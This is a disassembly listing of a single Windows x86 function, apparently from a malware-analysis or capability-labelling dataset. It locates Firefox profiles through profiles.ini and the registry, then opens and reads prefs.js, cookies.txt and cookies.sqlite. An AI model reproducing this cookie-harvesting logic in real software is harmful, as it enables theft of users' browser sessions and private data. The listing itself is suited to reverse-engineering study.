Function at 0x41ede0
Capabilities:
Gather firefox profile information
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x499ec0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6e0
mov eax, dword [0x4bc410]
push ebx
push esi
xor eax, ebp
push edi
mov dword [esp + 0x6e4], eax
mov esi, ecx
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 0x4d0]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push eax
xor edi, edi
push 0xf00ff
mov dword [esp + 0x24], 0x104
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [esi + 0x38]
cmp eax, edi
lea edx, [esp + 0x4d0]
je 0x41ee66
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x1c]
push edx
push ecx
call eax
jmp 0x41ee72
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call dword [0x49f754]
lea ecx, [esp + 0x4d0]
push ecx
lea edx, [esp + 0x18]
push str._sApplication_DataMozillaFirefoxprofiles.ini
push edx
mov dword [esp + 0x700], edi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Format]
add esp, 0xc
lea ecx, [esp + 0x14]
call dword [sym.imp.MFC71.DLL_ATL::CSimpleStringT::operator_char_const_]
push eax
push 0x104
lea eax, [esp + 0x5e0]
push eax
push 0x4a095c
push str.Path
push str.Profile0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, edi
je 0x41ef89
lea ecx, [esp + 0x5d8]
lea ebx, [esi + 4]
push ecx
mov ecx, ebx
call dword [sym.imp.MFC71.DLL_ATL::CStringT::operator_3]
push 0x4a095c
mov ecx, ebx
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Compare]
test eax, eax
je 0x41f56f
push 0x4a1f5c
push 0x4a0f28
mov ecx, ebx
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Replace_1]
lea edx, [esp + 0x5d8]
push edx
lea eax, [esp + 0x4d4]
push eax
lea edi, [esi + 8]
push str._sApplication_DataMozillaFirefox_sprefs.js
push edi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Format]
lea ecx, [esp + 0x5e8]
push ecx
lea edx, [esp + 0x4e4]
push edx
push str._sApplication_DataMozillaFirefox_scookies.txt
push ebx
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Format]
lea eax, [esp + 0x5f8]
push eax
lea ecx, [esp + 0x4f4]
push ecx
push str._sApplication_DataMozillaFirefox_scookies.sqlite
push esi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Format]
add esp, 0x30
push 0x4a1f5c
push 0x4a0f28
mov ecx, esi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Replace_1]
jmp 0x41f3c0
mov byte [esp + 0x3d0], 0
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x3d1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0xc]
stosb byte es:[edi], al
call dword [0x49f754]
lea edx, [esp + 0x3d0]
push edx
push 0
push str.HTTP_shellopencommand
push Ordinal_1
mov ecx, esi
mov byte [esp + 0x704], 1
call fcn.0041d580
lea eax, [esp + 0x3d0]
push eax
lea ecx, [esp + 0x10]
call dword [0x49f3bc]
push 0x5c
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::ReverseFind]
push eax
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x14]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Left]
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x6f8], 2
call dword [0x49f214]
lea ecx, [esp + 0x10]
mov byte [esp + 0x6f4], 1
call dword [sym.imp.MFC71.DLL_ATL::CStringT::CStringT]
push 0x22
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Remove]
mov edx, dword [esp + 0xc]
push edx
lea edi, [esi + 8]
push str._sDataprofileprefs.js
push edi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Format]
add esp, 0xc
push 0x4a1f5c
push 0x4a0f28
mov ecx, edi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Replace_1]
mov eax, dword [esp + 0xc]
push eax
lea ebx, [esi + 4]
push str._sDataprofilecookies.txt
push ebx
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Format]
add esp, 0xc
push 0x4a1f5c
push 0x4a0f28
mov ecx, ebx
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Replace_1]
mov ecx, dword [esp + 0xc]
push ecx
push str._sDataprofilecookies.sqlite
push esi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Format]
add esp, 0xc
push 0x4a1f5c
push 0x4a0f28
mov ecx, esi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Replace_1]
push 1
push 0x1b6
push 1
mov ecx, edi
call dword [sym.imp.MFC71.DLL_ATL::CSimpleStringT::operator_char_const_]
push eax
lea ecx, [esp + 0x290]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_char_const___int__int_]
lea ecx, [esp + 0x280]
mov byte [esp + 0x6f4], 3
call dword [sym.imp.MSVCP71.dll_public:_bool___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::is_open_void_const]
neg al
lea ecx, [esp + 0x280]
sbb eax, eax
neg eax
mov dword [esp + 0x10], eax
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x41f399
lea edx, [esp + 0x3d0]
push edx
push 0
push str.FirefoxHTML
push Ordinal_1
mov ecx, esi
call fcn.0041d580
lea eax, [esp + 0x3d0]
push eax
lea ecx, [esp + 0x10]
call dword [0x49f3bc]
push 0x5c
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::ReverseFind]
push eax
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x14]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Left]
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x6f8], 4
call dword [0x49f214]
lea ecx, [esp + 0x10]
mov byte [esp + 0x6f4], 3
call dword [sym.imp.MFC71.DLL_ATL::CStringT::CStringT]
push 0x22
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Remove]
mov edx, dword [esp + 0xc]
push edx
push str._sDataprofileprefs.js
push edi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Format]
add esp, 0xc
push 0x4a1f5c
push 0x4a0f28
mov ecx, edi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Replace_1]
mov eax, dword [esp + 0xc]
push eax
push str._sDataprofilecookies.txt
push ebx
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Format]
add esp, 0xc
push 0x4a1f5c
push 0x4a0f28
mov ecx, ebx
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Replace_1]
mov ecx, dword [esp + 0xc]
push ecx
push str._sDataprofilecookies.sqlite
push esi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Format]
add esp, 0xc
push 0x4a1f5c
push 0x4a0f28
mov ecx, esi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Replace_1]
push 1
push 0x1b6
push 1
mov ecx, edi
call dword [sym.imp.MFC71.DLL_ATL::CSimpleStringT::operator_char_const_]
push eax
lea ecx, [esp + 0x1f8]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_char_const___int__int_]
lea ecx, [esp + 0x1e8]
mov byte [esp + 0x6f4], 5
call dword [sym.imp.MSVCP71.dll_public:_bool___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::is_open_void_const]
neg al
lea ecx, [esp + 0x1e8]
sbb eax, eax
neg eax
mov dword [esp + 0x10], eax
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x41f384
lea edx, [esp + 0x3d0]
push edx
push 0
push str.SoftwareFirefox_Plus
push reloc.libdb43.dll_Ordinal_1
mov ecx, esi
call fcn.0041d580
lea eax, [esp + 0x3d0]
push eax
lea ecx, [esp + 0x10]
call dword [0x49f3bc]
push 0x5c
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::ReverseFind]
push eax
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x14]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Left]
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x6f8], 6
call dword [0x49f214]
lea ecx, [esp + 0x10]
mov byte [esp + 0x6f4], 5
call dword [sym.imp.MFC71.DLL_ATL::CStringT::CStringT]
push 0x22
lea ecx, [esp + 0x10]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Remove]
mov edx, dword [esp + 0xc]
push edx
push str._sDataprofileprefs.js
push edi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Format]
add esp, 0xc
push 0x4a1f5c
push 0x4a0f28
mov ecx, edi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Replace_1]
mov eax, dword [esp + 0xc]
push eax
push str._sDataprofilecookies.txt
push ebx
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Format]
add esp, 0xc
push 0x4a1f5c
push 0x4a0f28
mov ecx, ebx
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Replace_1]
mov ecx, dword [esp + 0xc]
push ecx
push str._sDataprofilecookies.sqlite
push esi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Format]
add esp, 0xc
push 0x4a1f5c
push 0x4a0f28
mov ecx, esi
call dword [sym.imp.MFC71.DLL_ATL::CStringT::Replace_1]
push 1
push 0x1b6
push 1
mov ecx, edi
call dword [sym.imp.MFC71.DLL_ATL::CSimpleStringT::operator_char_const_]
push eax
lea ecx, [esp + 0x328]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_char_const___int__int_]
lea ecx, [esp + 0x318]
mov byte [esp + 0x6f4], 7
call dword [sym.imp.MSVCP71.dll_public:_bool___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::is_open_void_const]
lea ecx, [esp + 0x318]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
lea ecx, [esp + 0x318]
mov byte [esp + 0x6f4], 5
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [esp + 0x1e8]
mov byte [esp + 0x6f4], 3
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [esp + 0x280]
mov byte [esp + 0x6f4], 1
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [esp + 0xc]
mov byte [esp + 0x6f4], 0
call dword [sym.imp.MFC71.DLL_ATL::CStringT::CStringT]
lea ecx, [esp + 0x3b4]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
push 1
push 0x1b6
push 1
mov ecx, edi
mov byte [esp + 0x700], 8
call dword [sym.imp.MFC71.DLL_ATL::CSimpleStringT::operator_char_const_]
push eax
lea ecx, [esp + 0x30]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_char_const___int__int_]
lea ecx, [esp + 0x20]
mov byte [esp + 0x6f4], 9
call dword [sym.imp.MSVCP71.dll_public:_bool___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::is_open_void_const]
test al, al
je 0x41f548
mov edx, dword [esp + 0x20]
mov ecx, dword [edx + 4]
lea ecx, [esp + ecx + 0x20]
call dword [sym.imp.MSVCP71.dll_public:_bool___thiscall_std::ios_base::eof_void_const]
test al, al
jne 0x41f47a
lea edi, [esi + 0x20]
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 4]
push 0xa
lea ecx, [esp + ecx + 0x24]
call dword [sym.imp.MSVCP71.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
lea ecx, [esp + 0x3b4]
lea edx, [esp + 0x20]
push eax
push ecx
push edx
call fcn.00401830
add esp, 0xc
lea ecx, [esp + 0x3b4]
call dword [sym.imp.MSVCP71.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov ecx, dword [edi + 8]
push eax
push ecx
mov ecx, edi
call sub.MFC71.DLL_CStringArray::SetAtGrow
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 4]
lea ecx, [esp + ecx + 0x20]
call dword [sym.imp.MSVCP71.dll_public:_bool___thiscall_std::ios_base::eof_void_const]
test al, al
je 0x41f423
lea ecx, [esp + 0x20]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
push 1
push 0x1b6
push 1
push 0
mov ecx, esi
call dword [sym.imp.MFC71.DLL_ATL::CSimpleStringT::GetBuffer]
push eax
lea ecx, [esp + 0x160]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_char_const___int__int_]
lea ecx, [esp + 0x150]
mov byte [esp + 0x6f4], 0xa
call dword [sym.imp.MSVCP71.dll_public:_bool___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::is_open_void_const]
test al, al
je 0x41f4d0
mov ecx, esi
call fcn.0041d6f0
neg eax
sbb eax, eax
neg eax
mov dword [esi + 0x48], eax
jmp 0x41f4d7
mov dword [esi + 0x48], 0
lea ecx, [esp + 0x150]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
push 1
push 0x1b6
push 1
push 0
mov ecx, ebx
call dword [sym.imp.MFC71.DLL_ATL::CSimpleStringT::GetBuffer]
push eax
lea ecx, [esp + 0xc8]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_char_const___int__int_]
lea ecx, [esp + 0xb8]
mov byte [esp + 0x6f4], 0xb
call dword [sym.imp.MSVCP71.dll_public:_bool___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::is_open_void_const]
test al, al
jne 0x41f580
lea ecx, [esp + 0xb8]
mov byte [esp + 0x6f4], 0xa
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [esp + 0x150]
mov byte [esp + 0x6f4], 9
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [esp + 0x20]
mov byte [esp + 0x6f4], 8
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [esp + 0x3b4]
mov byte [esp + 0x6f4], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x14]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::CStringT]
xor eax, eax
jmp 0x41f65b
mov ecx, dword [esp + 0xb8]
mov ecx, dword [ecx + 4]
lea ecx, [esp + ecx + 0xb8]
call dword [sym.imp.MSVCP71.dll_public:_bool___thiscall_std::ios_base::eof_void_const]
test al, al
jne 0x41f5ee
add esi, 0xc
mov edi, edi
push 0xa
lea edx, [esp + 0x3b8]
push edx
lea eax, [esp + 0xc0]
push eax
call fcn.00401830
add esp, 0xc
lea ecx, [esp + 0x3b4]
call dword [sym.imp.MSVCP71.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov ecx, dword [esi + 8]
push eax
push ecx
mov ecx, esi
call sub.MFC71.DLL_CStringArray::SetAtGrow
mov ecx, dword [esp + 0xb8]
mov ecx, dword [ecx + 4]
lea ecx, [esp + ecx + 0xb8]
call dword [sym.imp.MSVCP71.dll_public:_bool___thiscall_std::ios_base::eof_void_const]
test al, al
je 0x41f5a0
lea ecx, [esp + 0xb8]
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
lea ecx, [esp + 0xb8]
mov byte [esp + 0x6f4], 0xa
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [esp + 0x150]
mov byte [esp + 0x6f4], 9
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [esp + 0x20]
mov byte [esp + 0x6f4], 8
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [esp + 0x3b4]
mov byte [esp + 0x6f4], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x14]
call dword [sym.imp.MFC71.DLL_ATL::CStringT::CStringT]
mov eax, 1
mov ecx, dword [esp + 0x6ec]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x6e4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00496ace
mov esp, ebp
pop ebp
ret